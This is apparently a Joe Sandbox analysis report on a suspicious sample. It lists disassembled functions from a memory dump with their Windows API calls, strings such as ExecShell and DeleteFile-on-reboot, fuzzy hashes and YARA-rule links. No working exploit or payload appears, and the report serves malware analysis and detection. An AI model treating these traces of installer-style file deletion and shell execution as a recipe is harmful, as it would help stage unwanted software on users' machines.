Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
N, xrefs: 00404C32
, xrefs: 00404F65
@, xrefs: 00404BBC

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
\*.*, xrefs: 00406D2F
ptF, xrefs: 00406D1A
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
